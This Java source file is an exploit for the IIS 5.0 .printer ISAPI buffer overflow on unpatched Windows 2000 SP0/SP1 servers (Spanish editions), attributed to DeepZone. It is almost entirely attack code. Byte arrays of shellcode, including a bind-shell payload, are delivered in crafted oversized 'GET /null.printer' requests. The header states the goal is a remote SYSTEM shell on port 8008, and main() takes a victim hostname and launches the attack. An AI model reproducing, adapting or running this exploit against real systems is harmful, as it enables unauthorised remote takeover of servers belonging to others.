import java.net.*;
import java.io.*;

/**
  * <code>IISPrnIsapi</code> exploits *all* unpatched Windows 2000 machines
  * running sp0 and sp1 with the .printer isapi filter loaded.  This is
  * purely a proof of concept *GOLONDRINA* exploit.<br><br>
  *
  * Tested with Win2k Server sp0 & sp1 - Spanish edition.<br><br>
  *
  * Default payload spawns a remote shell on 8008 port.<br><br>
  *
  * Default installation gives us a remote shell with SYSTEM privileges.<br><br>
  *
  * More information about *GOLONDRINA* technique <a target="_top" href="http://www.deepzone.org/quick.asp?link=golondrina">here</a><br><br>
  *
  * @author |Zan - <a href="mailto:izan@deepzone.org">izan@deepzone.org</a>
  */

public class IISPrnIsapi {

    public  static boolean customAttack = false;

    private static int DEFAULT_PORT = 80;

    // change this value and tunning your appropiate delay. 2 ... 5 seconds
    // are appropiated on a LAN (lab environment).

    private static int DELAY_SECONDS = 2;

    private String hostname;
    private int port;
    private String fingerprint = "";
    private boolean lastCheck = false;


    private int[] locator = {

        0x90, 0x90, 0xeb, 0x1d, 0x90, 0x90, 0x90, 0x5b, 0x53,
        0x5f, 0x33, 0xc9, 0x83, 0xc7, 0xff, 0x57, 0x53, 0x5e,
        0xb1, 0x08, 0xf3, 0xa6, 0x5f, 0x84, 0xc9, 0x75, 0xf1,
        0xb1, 0x08, 0x03, 0xf9, 0xff, 0xe7, 0xe8, 0xe1, 0xff,
        0xff, 0xff

    };


    private int[] patcher = {

        0xbf, 0x66, 0x95, 0xdc, 0x65, 0x33, 0xc0, 0xb0, 0x30,
        0xaa, 0x50, 0x68, 0xcf, 0x06, 0xe9, 0x77, 0x5b, 0xff,
        0xd3

    };


    private int[] allocater = {

        0x90, 0xB8, 0x80, 0x3E, 0x80, 0x3E, 0xB1, 0x10, 0xD3,
        0xE8, 0x50, 0xB8, 0x80, 0x40, 0x40, 0x40, 0x2D, 0x40,
        0x40, 0x40, 0x40, 0x50, 0x68, 0x1A, 0x91, 0xE9, 0x77,
        0x5A, 0xFF, 0xD2, 0x93, 0x53, 0x5F, 0xB0, 0x90, 0x33,
        0xC9, 0x66, 0xB9, 0x80, 0x3E, 0xF2, 0xAA, 0x68, 0x54,
        0x74, 0x35, 0x6C, 0x5A, 0x89, 0x1A, 0x68, 0xCF, 0x06,
        0xE9, 0x77, 0x5A, 0x33, 0xC0, 0x50, 0xFF, 0xD2

    };


    private int[] copyer = {

        0x83, 0xEF, 0xD8, 0x90, 0x90, 0x90, 0x68, 0x54, 0x74,
        0x35, 0x6C, 0x5E, 0xAD, 0x96, 0x87, 0xF7, 0x33, 0xC0,
        0x50, 0x33, 0xC9, 0xB0, 0x01, 0x48, 0xB1, 0xB4, 0xF7,
        0xE1, 0x03, 0xF8, 0xF2, 0xA4, 0x68, 0xCF, 0x06, 0xE9,
        0x77, 0x5A, 0xFF, 0xD2

    };


    private int[] jumper = {

        0x90, 0x68, 0x54, 0x74, 0x35, 0x6C, 0x5E, 0xAD, 0xFF,
        0xE0

    };


    /* -------- WinNT/2k shellcode by |Zan at deepzone.org ---------- */

    /* ------ http://www.deepzone.org/quick.asp?link=w32scgen ------- */


    private int[] DeepZone_w32ShellCode = {

        0x68, 0x5e, 0x56, 0xc3, 0x90, 0x54, 0x59, 0xff, 0xd1,
        0x58, 0x33, 0xc9, 0xb1, 0x1c, 0x90, 0x90, 0x90, 0x90,
        0x03, 0xf1, 0x56, 0x5f, 0x33, 0xc9, 0x66, 0xb9, 0x95,
        0x04, 0x90, 0x90, 0x90, 0xac, 0x34, 0x99, 0xaa, 0xe2,
        0xfa, 0x71, 0x99, 0x99, 0x99, 0x99, 0xc4, 0x18, 0x74,
        0x40, 0xb8, 0xd9, 0x99, 0x14, 0x2c, 0x6b, 0xbd, 0xd9,
        0x99, 0x14, 0x24, 0x63, 0xbd, 0xd9, 0x99, 0xf3, 0x9e,
        0x09, 0x09, 0x09, 0x09, 0xc0, 0x71, 0x4b, 0x9b, 0x99,
        0x99, 0x14, 0x2c, 0xb3, 0xbc, 0xd9, 0x99, 0x14, 0x24,
        0xaa, 0xbc, 0xd9, 0x99, 0xf3, 0x93, 0x09, 0x09, 0x09,
        0x09, 0xc0, 0x71, 0x23, 0x9b, 0x99, 0x99, 0xf3, 0x99,
        0x14, 0x2c, 0x40, 0xbc, 0xd9, 0x99, 0xcf, 0x14, 0x2c,
        0x7c, 0xbc, 0xd9, 0x99, 0xcf, 0x14, 0x2c, 0x70, 0xbc,
        0xd9, 0x99, 0xcf, 0x66, 0x0c, 0xaa, 0xbc, 0xd9, 0x99,
        0xf3, 0x99, 0x14, 0x2c, 0x40, 0xbc, 0xd9, 0x99, 0xcf,
        0x14, 0x2c, 0x74, 0xbc, 0xd9, 0x99, 0xcf, 0x14, 0x2c,
        0x68, 0xbc, 0xd9, 0x99, 0xcf, 0x66, 0x0c, 0xaa, 0xbc,
        0xd9, 0x99, 0x5e, 0x1c, 0x6c, 0xbc, 0xd9, 0x99, 0xdd,
        0x99, 0x99, 0x99, 0x14, 0x2c, 0x6c, 0xbc, 0xd9, 0x99,
        0xcf, 0x66, 0x0c, 0xae, 0xbc, 0xd9, 0x99, 0x14, 0x2c,
        0xb4, 0xbf, 0xd9, 0x99, 0x34, 0xc9, 0x66, 0x0c, 0xca,
        0xbc, 0xd9, 0x99, 0x14, 0x2c, 0xa8, 0xbf, 0xd9, 0x99,
        0x34, 0xc9, 0x66, 0x0c, 0xca, 0xbc, 0xd9, 0x99, 0x14,
        0x2c, 0x68, 0xbc, 0xd9, 0x99, 0x14, 0x24, 0xb4, 0xbf,
        0xd9, 0x99, 0x3c, 0x14, 0x2c, 0x7c, 0xbc, 0xd9, 0x99,
        0x34, 0x14, 0x24, 0xa8, 0xbf, 0xd9, 0x99, 0x32, 0x14,
        0x24, 0xac, 0xbf, 0xd9, 0x99, 0x32, 0x5e, 0x1c, 0xbc,
        0xbf, 0xd9, 0x99, 0x99, 0x99, 0x99, 0x99, 0x5e, 0x1c,
        0xb8, 0xbf, 0xd9, 0x99, 0x98, 0x98, 0x99, 0x99, 0x14,
        0x2c, 0xa0, 0xbf, 0xd9, 0x99, 0xcf, 0x14, 0x2c, 0x6c,
        0xbc, 0xd9, 0x99, 0xcf, 0xf3, 0x99, 0xf3, 0x99, 0xf3,
        0x89, 0xf3, 0x98, 0xf3, 0x99, 0xf3, 0x99, 0x14, 0x2c,
        0xd0, 0xbf, 0xd9, 0x99, 0xcf, 0xf3, 0x99, 0x66, 0x0c,
        0xa2, 0xbc, 0xd9, 0x99, 0xf1, 0x99, 0xb9, 0x99, 0x99,
        0x09, 0xf1, 0x99, 0x9b, 0x99, 0x99, 0x66, 0x0c, 0xda,
        0xbc, 0xd9, 0x99, 0x10, 0x1c, 0xc8, 0xbf, 0xd9, 0x99,
        0xaa, 0x59, 0xc9, 0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c,
        0x63, 0xbd, 0xd9, 0x99, 0xc9, 0xc2, 0xf3, 0x89, 0x14,
        0x2c, 0x50, 0xbc, 0xd9, 0x99, 0xcf, 0xca, 0x66, 0x0c,
        0x67, 0xbd, 0xd9, 0x99, 0xf3, 0x9a, 0xca, 0x66, 0x0c,
        0x9b, 0xbc, 0xd9, 0x99, 0x14, 0x2c, 0xcc, 0xbf, 0xd9,
        0x99, 0xcf, 0x14, 0x2c, 0x50, 0xbc, 0xd9, 0x99, 0xcf,
        0xca, 0x66, 0x0c, 0x9f, 0xbc, 0xd9, 0x99, 0x14, 0x24,
        0xc0, 0xbf, 0xd9, 0x99, 0x32, 0xaa, 0x59, 0xc9, 0x14,
        0x24, 0xfc, 0xbf, 0xd9, 0x99, 0xce, 0xc9, 0xc9, 0xc9,
        0x14, 0x2c, 0x70, 0xbc, 0xd9, 0x99, 0x34, 0xc9, 0x66,
        0x0c, 0xa6, 0xbc, 0xd9, 0x99, 0xf3, 0xa9, 0x66, 0x0c,
        0xd6, 0xbc, 0xd9, 0x99, 0x72, 0xd4, 0x09, 0x09, 0x09,
        0xaa, 0x59, 0xc9, 0x14, 0x24, 0xfc, 0xbf, 0xd9, 0x99,
        0xce, 0xc9, 0xc9, 0xc9, 0x14, 0x2c, 0x70, 0xbc, 0xd9,
        0x99, 0x34, 0xc9, 0x66, 0x0c, 0xa6, 0xbc, 0xd9, 0x99,
        0xf3, 0xc9, 0x66, 0x0c, 0xd6, 0xbc, 0xd9, 0x99, 0x1a,
        0x24, 0xfc, 0xbf, 0xd9, 0x99, 0x9b, 0x96, 0x1b, 0x8e,
        0x98, 0x99, 0x99, 0x18, 0x24, 0xfc, 0xbf, 0xd9, 0x99,
        0x98, 0xb9, 0x99, 0x99, 0xeb, 0x97, 0x09, 0x09, 0x09,
        0x09, 0x5e, 0x1c, 0xfc, 0xbf, 0xd9, 0x99, 0x99, 0xb9,
        0x99, 0x99, 0xf3, 0x99, 0x12, 0x1c, 0xfc, 0xbf, 0xd9,
        0x99, 0x14, 0x24, 0xfc, 0xbf, 0xd9, 0x99, 0xce, 0xc9,
        0x12, 0x1c, 0xc8, 0xbf, 0xd9, 0x99, 0xc9, 0x14, 0x2c,
        0x70, 0xbc, 0xd9, 0x99, 0x34, 0xc9, 0x66, 0x0c, 0xde,
        0xbc, 0xd9, 0x99, 0xf3, 0xc9, 0x66, 0x0c, 0xd6, 0xbc,
        0xd9, 0x99, 0x12, 0x1c, 0xfc, 0xbf, 0xd9, 0x99, 0xf3,
        0x99, 0xc9, 0x14, 0x2c, 0xc8, 0xbf, 0xd9, 0x99, 0x34,
        0xc9, 0x14, 0x2c, 0xc0, 0xbf, 0xd9, 0x99, 0x34, 0xc9,
        0x66, 0x0c, 0x93, 0xbc, 0xd9, 0x99, 0xf3, 0x99, 0x14,
        0x24, 0xfc, 0xbf, 0xd9, 0x99, 0xce, 0xf3, 0x99, 0xf3,
        0x99, 0xf3, 0x99, 0x14, 0x2c, 0x70, 0xbc, 0xd9, 0x99,
        0x34, 0xc9, 0x66, 0x0c, 0xa6, 0xbc, 0xd9, 0x99, 0xf3,
        0xc9, 0x66, 0x0c, 0xd6, 0xbc, 0xd9, 0x99, 0xaa, 0x50,
        0xa0, 0x14, 0xfc, 0xbf, 0xd9, 0x99, 0x96, 0x1e, 0xfe,
        0x66, 0x66, 0x66, 0xf3, 0x99, 0xf1, 0x99, 0xb9, 0x99,
        0x99, 0x09, 0x14, 0x2c, 0xc8, 0xbf, 0xd9, 0x99, 0x34,
        0xc9, 0x14, 0x2c, 0xc0, 0xbf, 0xd9, 0x99, 0x34, 0xc9,
        0x66, 0x0c, 0x97, 0xbc, 0xd9, 0x99, 0x10, 0x1c, 0xf8,
        0xbf, 0xd9, 0x99, 0xf3, 0x99, 0x14, 0x24, 0xfc, 0xbf,
        0xd9, 0x99, 0xce, 0xc9, 0x14, 0x2c, 0xc8, 0xbf, 0xd9,
        0x99, 0x34, 0xc9, 0x14, 0x2c, 0x74, 0xbc, 0xd9, 0x99,
        0x34, 0xc9, 0x66, 0x0c, 0xd2, 0xbc, 0xd9, 0x99, 0xf3,
        0xc9, 0x66, 0x0c, 0xd6, 0xbc, 0xd9, 0x99, 0xf3, 0x99,
        0x12, 0x1c, 0xf8, 0xbf, 0xd9, 0x99, 0x14, 0x24, 0xfc,
        0xbf, 0xd9, 0x99, 0xce, 0xc9, 0x12, 0x1c, 0xc8, 0xbf,
        0xd9, 0x99, 0xc9, 0x14, 0x2c, 0x70, 0xbc, 0xd9, 0x99,
        0x34, 0xc9, 0x66, 0x0c, 0xde, 0xbc, 0xd9, 0x99, 0xf3,
        0xc9, 0x66, 0x0c, 0xd6, 0xbc, 0xd9, 0x99, 0x70, 0x20,
        0x67, 0x66, 0x66, 0x14, 0x2c, 0xc0, 0xbf, 0xd9, 0x99,
        0x34, 0xc9, 0x66, 0x0c, 0x8b, 0xbc, 0xd9, 0x99, 0x14,
        0x2c, 0xc4, 0xbf, 0xd9, 0x99, 0x34, 0xc9, 0x66, 0x0c,
        0x8b, 0xbc, 0xd9, 0x99, 0xf3, 0x99, 0x66, 0x0c, 0xce,
        0xbc, 0xd9, 0x99, 0xc8, 0xcf, 0xf1, 0x99, 0x99, 0xd9,
        0x99, 0x09, 0xc3, 0x66, 0x8b, 0xc9, 0xc2, 0xc0, 0xce,
        0xc7, 0xc8, 0xcf, 0xca, 0xf1, 0x99, 0x99, 0xd9, 0x99,
        0x09, 0xc3, 0x66, 0x8b, 0xc9, 0x35, 0x1d, 0x59, 0xec,
        0x62, 0xc1, 0x32, 0xc0, 0x7b, 0x70, 0x5a, 0xce, 0xca,
        0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa,
        0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99,
        0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa,
        0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd,
        0x99, 0xeb, 0xfc, 0xfa, 0xef, 0x99, 0xfa, 0xf5, 0xf6,
        0xea, 0xfc, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
        0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
        0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9,
        0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb,
        0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99,
        0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
        0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xc9, 0xfc, 0xfc,
        0xf2, 0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9,
        0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8,
        0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xcb, 0xfc, 0xf8, 0xfd,
        0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xce, 0xeb, 0xf0, 0xed,
        0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc,
        0xfc, 0xe9, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
        0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xdc, 0xe1, 0xf0,
        0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99,
        0xda, 0xf6, 0xfd, 0xfc, 0xfd, 0xb9, 0xfb, 0xe0, 0xb9,
        0xe5, 0xc3, 0xf8, 0xf7, 0xb9, 0xa5, 0xf0, 0xe3, 0xf8,
        0xf7, 0xd9, 0xfd, 0xfc, 0xfc, 0xe9, 0xe3, 0xf6, 0xf7,
        0xfc, 0xb7, 0xf6, 0xeb, 0xfe, 0xa7, 0x9b, 0x99, 0x86,
        0xd1, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x95, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x98, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xda,
        0xd4, 0xdd, 0xb7, 0xdc, 0xc1, 0xdc, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x89, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
        0x99, 0x99, 0x99, 0x99, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90

    };


    /* ---------------- default environments -------------------- */


    private static int[] w2kServerSP0_Spain = {

        /* ---------------------------------------------------- */
        /* Working on Windows 2000 Server sp0 spanish version   */
        /* ---------------------------------------------------- */

        0xcb, 0x4a, 0x33, 0x6c, 0x66, 0x95, 0xdc, 0x65,
        0x1a, 0x91, 0xe9, 0x77, 0xcf, 0x06, 0xe9, 0x77,
        0x54, 0x74, 0x35, 0x6c, 0xad, 0x89, 0x99, 0x98,
        0xe5, 0x89, 0x99, 0x98

    };


    private static int[] w2kServerSP1_Spain = {

        /* ---------------------------------------------------- */
        /* Working on Windows 2000 Server sp1 spanish version   */
        /* ---------------------------------------------------- */

        0xcb, 0x4a, 0x33, 0x6c, 0x66, 0x85, 0xdc, 0x65,
        0x6a, 0x46, 0xe8, 0x77, 0x90, 0x3d, 0xe8, 0x77,
        0x54, 0x74, 0x35, 0x6c, 0xad, 0x89, 0x99, 0x98,
        0xe5, 0x89, 0x99, 0x98

        };


    // --------------- end general fingerprints --------------------


    private static int[] w2kCustom = {

        /* ---------------------------------------------------- */
        /* Working on Windows 2000  (add your fingerprint here) */
        /* ---------------------------------------------------- */

        0xcb, 0x4a, 0x42, 0x6c, 0x00, 0x00, 0x00, 0x00,
        0x6a, 0x46, 0xe8, 0x77, 0x90, 0x3d, 0xe8, 0x77,
        0x54, 0x74, 0x44, 0x6c, 0xad, 0x89, 0x99, 0x98,
        0xe5, 0x89, 0x99, 0x98

        };


    // --------------- end custom fingerprint ----------------------


    public IISPrnIsapi(String hostname, int port) {

        this.hostname = hostname;
        this.port = port;

    }


    public IISPrnIsapi(String hostname) {

        this.hostname = hostname;
        this.port = DEFAULT_PORT;

    }


    private void patchIt(int[] eVict) {

        Socket c = null;

    try {

            patcher[1]  = eVict[4];
            patcher[2]  = eVict[5];
            patcher[3]  = eVict[6];
            patcher[4]  = eVict[7];
            patcher[12] = eVict[12];
            patcher[13] = eVict[13];
            patcher[14] = eVict[14];
            patcher[15] = eVict[15];

            c = new Socket(hostname, port);

            Writer out = new OutputStreamWriter(c.getOutputStream(), "8859_1");

            System.out.print("Patching server ... ");

            String tmpEat = "GET /null.printer HTTP/1.1\r\nHost: ";

            for (int i=0; i<20; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write("DeepZone");

            out.write(0x90);

            for (int i=0; i<patcher.length; i++) out.write(patcher[i]);

            tmpEat = "";

            for (int i=0; i<239-patcher.length; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write(eVict[0]);
            out.write(eVict[1]);
            out.write(eVict[2]);
            out.write(eVict[3]);

            tmpEat = "";

            for (int i=0; i<(320-260-locator.length-8); i++) out.write(0x90);

            for (int i=0; i<locator.length; i++) out.write(locator[i]);

            out.write("DeepZone\r\n\r\n");

            out.flush();

            System.out.println("OK");


        } catch (IOException e) {

            System.out.println("Error: b0fIt()! Connection lost.");

        }

        finally {

        try {

            if (c !=null) c.close();

        } catch (IOException e) {}

        }

    }


    private void checkIt(boolean zero) {

        try {

        URL u = new URL("http://" + hostname + ":" + port);

        URLConnection uc = u.openConnection();

        fingerprint = uc.getHeaderField("Server");

        lastCheck = false;

        if (fingerprint==null) {

            System.out.println("Error: connecting ...\n");

            System.exit(-1);
        }

        if (zero) {

            if (fingerprint.equals("Micros0ft-IIS/5.0")) lastCheck = true;

        } else {

            if (fingerprint.equals("Microsoft-IIS/5.0")) lastCheck = true;
        }

        } catch (MalformedURLException e) {

            System.err.println("Error: checkIt() MalformedURLException!");

        } catch (IOException e) {

            System.err.println("Error: checkIt() IOException!");
        }

    }


    private void allocatIt(int[] eVict) {

        Socket c = null;

        try {


            allocater[23] = eVict[8];
            allocater[24] = eVict[9];
            allocater[25] = eVict[10];
            allocater[26] = eVict[11];
            allocater[52] = eVict[12];
            allocater[53] = eVict[13];
            allocater[54] = eVict[14];
            allocater[55] = eVict[15];
            allocater[44] = eVict[16];
            allocater[45] = eVict[17];
            allocater[46] = eVict[18];
            allocater[47] = eVict[19];

            c = new Socket(hostname, port);

            Writer out = new OutputStreamWriter(c.getOutputStream(), "8859_1");

            String tmpEat = "GET /null.printer HTTP/1.1\r\nHost: ";

            for (int i=0; i<20; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write("DeepZone");

            out.write(0x90);

            for (int i=0; i<allocater.length; i++) out.write(allocater[i]);

            tmpEat = "";

            for (int i=0; i<239-allocater.length; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write(eVict[0]);
            out.write(eVict[1]);
            out.write(eVict[2]);
            out.write(eVict[3]);

            tmpEat = "";

            for (int i=0; i<(320-260-8-locator.length); i++) out.write(0x90);

            for (int i=0; i<locator.length; i++) out.write(locator[i]);

            out.write("DeepZone\r\n\r\n");

            out.flush();


        } catch (IOException e) {

            System.out.println("Error: b0fIt()! Connection lost.");

        }

        finally {

        try {

            if (c !=null) c.close();

        } catch (IOException e) {}

        }

    }


    private void bindIt(int[] eVict) {

        Socket c = null;

        try {


            copyer[33] = eVict[12];
            copyer[34] = eVict[13];
            copyer[35] = eVict[14];
            copyer[36] = eVict[15];
            copyer[7]  = eVict[16];
            copyer[8]  = eVict[17];
            copyer[9]  = eVict[18];
            copyer[10] = eVict[19];

            DeepZone_w32ShellCode[815] = eVict[20];
            DeepZone_w32ShellCode[816] = eVict[21];
            DeepZone_w32ShellCode[817] = eVict[22];
            DeepZone_w32ShellCode[818] = eVict[23];
            DeepZone_w32ShellCode[798] = eVict[24];
            DeepZone_w32ShellCode[799] = eVict[25];
            DeepZone_w32ShellCode[800] = eVict[26];
            DeepZone_w32ShellCode[801] = eVict[27];


            for (int k=1; k<8; k++) {

                copyer[22] = k;

                c = new Socket(hostname, port);

                Writer out = new OutputStreamWriter(c.getOutputStream(), "8859_1");

                String tmpEat = "GET /null.printer HTTP/1.1\r\nHost: ";

                for (int i=0; i<20; i++) tmpEat = tmpEat + "A";

                out.write(tmpEat);

                out.write(0x90);

                out.write("DeepZone");

                for (int i=0; i<copyer.length; i++) out.write(copyer[i]);

                for (int i=(k-1)*180; i<(k*180); i++) out.write(DeepZone_w32ShellCode[i]);

                tmpEat = "";

                for (int i=0; i<239-copyer.length-180; i++) tmpEat = tmpEat + "A";

                out.write(tmpEat);

                out.write(eVict[0]);
                out.write(eVict[1]);
                out.write(eVict[2]);
                out.write(eVict[3]);

                tmpEat = "";

                for (int i=0; i<(320-260-8-locator.length); i++) out.write(0x90);

                for (int i=0; i<locator.length; i++) out.write(locator[i]);

                out.write("DeepZone\r\n\r\n");

                out.flush();

                try {

                        Thread.sleep(DELAY_SECONDS*1000);

                } catch (InterruptedException e) {}


            }


        } catch (IOException e) {

            System.out.println("Error: b0fIt()! Connection lost.");

        }

        finally {

        try {

            if (c !=null) c.close();

        } catch (IOException e) {}

        }

    }


    private void execIt(int[] eVict) {

        Socket c = null;

        try {


            jumper[2] = eVict[16];
            jumper[3] = eVict[17];
            jumper[4] = eVict[18];
            jumper[5] = eVict[19];

            c = new Socket(hostname, port);

            Writer out = new OutputStreamWriter(c.getOutputStream(), "8859_1");

            String tmpEat = "GET /null.printer HTTP/1.1\r\nHost: ";

            for (int i=0; i<20; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write("DeepZone");

            out.write(0x90);

            for (int i=0; i<jumper.length; i++) out.write(jumper[i]);

            tmpEat = "";

            for (int i=0; i<239-jumper.length; i++) tmpEat = tmpEat + "A";

            out.write(tmpEat);

            out.write(eVict[0]);
            out.write(eVict[1]);
            out.write(eVict[2]);
            out.write(eVict[3]);

            tmpEat = "";

            for (int i=0; i<(320-260-8-locator.length); i++) out.write(0x90);

            for (int i=0; i<locator.length; i++) out.write(locator[i]);

            out.write("DeepZone\r\n\r\n");

            out.flush();


        } catch (IOException e) {

            System.out.println("Error: b0fIt()! Connection lost.");

        }

        finally {

        try {

            if (c !=null) c.close();

        } catch (IOException e) {}

        }

    }


    public boolean appInterface(int[] eVict) {

        boolean success = false;

        this.checkIt(false);

        System.out.print("Checking OS ... ");

        if (!lastCheck) {

            System.out.println("IIS/5.0 NOT detected!");

            return false;

        } else  System.out.println("IIS/5.0 detected!");


        if (!((eVict[4]==0)&&
              (eVict[5]==0)&&
              (eVict[6]==0)&&
              (eVict[7]==0)))
        {

                this.patchIt(eVict);

                try {

                    Thread.sleep(DELAY_SECONDS*1000);

                } catch (InterruptedException e) {}

                this.checkIt(true);

                System.out.print("Vulnerable server ... ");

                if (lastCheck) {

                        System.out.println("detected!");
                        success = true;
                }

                else {

                        System.out.println("NOT detected!\n");

                        return false;

                }
        } else
                {

                        System.out.println("Avoiding check ... forcing attack!");
                        success = false;
                }

        System.out.print("Allocating memory (16k) ... ");

        this.allocatIt(eVict);

        try {

            Thread.sleep(DELAY_SECONDS*1000);

        } catch (InterruptedException e) {}

        System.out.println("OK");

        System.out.print("Binding shell on port 8008 (be patient!) ... ");

        this.bindIt(eVict);

        try {

            Thread.sleep(DELAY_SECONDS*1000);

        } catch (InterruptedException e) {}

        this.execIt(eVict);

        System.out.println("OK");

        return success;

    }


    public static void main(String args[]) {

        String h = "";
        int p = 0;

        System.out.println("\n(c) 1998-2001 DeepZone. IISPrnIsapi Class coded by |Zan [@deepzone.org]\n");

        System.out.println("Example: java IISPrnIsapi victim [port]\n");

        if (args.length>2) {

            System.out.println("Error: num. params. incorrect!");
            System.exit(-1);

        }

        try {

            h = args[0];

        } catch (ArrayIndexOutOfBoundsException e) {

            System.out.println("Error: need a hostname!");
            System.exit(-1);

        }

        try {

            p = Integer.parseInt(args[1]);

        } catch (NumberFormatException e) {

            System.out.println("Error: num. port not valid!");
            System.exit(-1);

        } catch (ArrayIndexOutOfBoundsException e) {

            p = -1;
        }

        if ((p!=-1)&&((p<1)||(p>65535))) {

            System.out.println("Error: num. port not valid!");
            System.exit(-1);

        }

        IISPrnIsapi exp;

        if (p!=-1) exp = new IISPrnIsapi(h, p);
        else exp = new IISPrnIsapi(h);

        if (exp.customAttack) {

            System.out.println("\n:. Custom-Attack mode activated ...\n");

            exp.appInterface(w2kCustom); System.exit(0);

        } else {

            System.out.println("\n:. Default mode activated ...");

        }

        System.out.println("\n[*] Trying Win2k Server SP0 - Spanish edition!\n");
        if (exp.appInterface(w2kServerSP0_Spain)) System.exit(0);

        System.out.println("\n[*] Trying Win2k Server SP1 - Spanish edition!\n");
        if (exp.appInterface(w2kServerSP1_Spain)) System.exit(0);

    }

}